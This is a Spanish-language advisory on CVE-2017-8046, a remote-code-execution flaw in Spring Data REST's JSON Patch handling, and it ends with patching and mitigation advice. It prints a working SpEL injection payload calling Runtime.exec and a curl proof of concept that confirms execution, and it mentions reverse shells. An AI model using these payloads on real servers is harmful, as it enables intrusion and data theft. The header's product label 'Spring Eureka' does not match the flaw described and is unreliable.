CVE-2017-8046: Vulnerabilidad de Ejecución Remota de Código mediante PATCH en Spring Data REST

En 2017 se identificó una vulnerabilidad crítica (CVSS 9.8) en las versiones de Spring Data REST anteriores a la 2.6.9 (Ingalls SR9) y 3.0.1 (Kay SR1), y en Spring Boot en las versiones anteriores a la 1.5.9 y 2.0 M6. Este fallo permite a atacantes remotos ejecutar código arbitrario en el servidor mediante solicitudes PATCH especialmente diseñadas. Aunque la vulnerabilidad fue reconocida y corregida por el equipo de Spring, no se han reportado casos generalizados de explotación activa por el momento, probablemente debido a la especificidad del ataque, que requiere que el procesamiento de parches JSON esté habilitado y expuesto.

ProductoSpring Eureka
Fecha2025-06-02 10:53:23
Información
  • Tendencia
  • Corrección disponible

Resumen técnico

La vulnerabilidad deriva de la deserialización insegura y el manejo peligroso de expresiones en la forma en que Spring Data REST procesa las solicitudes PATCH con el tipo de contenido application/json-patch+json.

Los atacantes pueden construir una operación JSON Patch utilizando el lenguaje de expresiones de Spring (SpEL), como en el siguiente ejemplo:

[
  {
    "op": "replace",
    "path": "T(java.lang.Runtime).getRuntime().exec(\"<command>\").x",
    "value": "pwned"
  }
]

Esto permite ejecutar código Java arbitrario (por ejemplo, lanzar comandos del sistema o exfiltrar datos). La expresión es interpretada por el motor SpEL del framework Spring debido a la falta de validación de entrada en el manejo de las solicitudes PATCH.

Ejemplo de explotación mediante curl:

curl --request PATCH \
  -H "Content-Type: application/json-patch+json" \
  -d '[{ "op" : "replace", "path" : "T(java.lang.Thread).sleep(10000).x", "value" : "pwned" }]' \
  http://localhost:8080/entity/1

Esto retrasaría la respuesta 10 segundos, demostrando la ejecución del código.

Payloads más complejos pueden extraer la salida del comando o establecer reverse shells mediante la ejecución de comandos en tiempo de ejecución.

Recomendaciones

  1. Actualizar inmediatamente:

    • Actualizar Spring Data REST a la versión 2.6.9 o superior (Ingalls SR9) o 3.0.1 o superior (Kay SR1).
    • Actualizar Spring Boot a la versión 1.5.9 o superior o 2.0 M6 o superior.
  2. Deshabilitar el soporte PATCH JSON si no es necesario:

    • JSON Patch no suele ser necesario en la mayoría de las API REST. Si no se utiliza, desactive el soporte para application/json-patch+json.
  3. Filtrar y sanitizar la entrada:

    • Aplique una validación rigurosa de las solicitudes para evitar que se interpreten expresiones maliciosas.

[Callforaction-THREAT-Footer]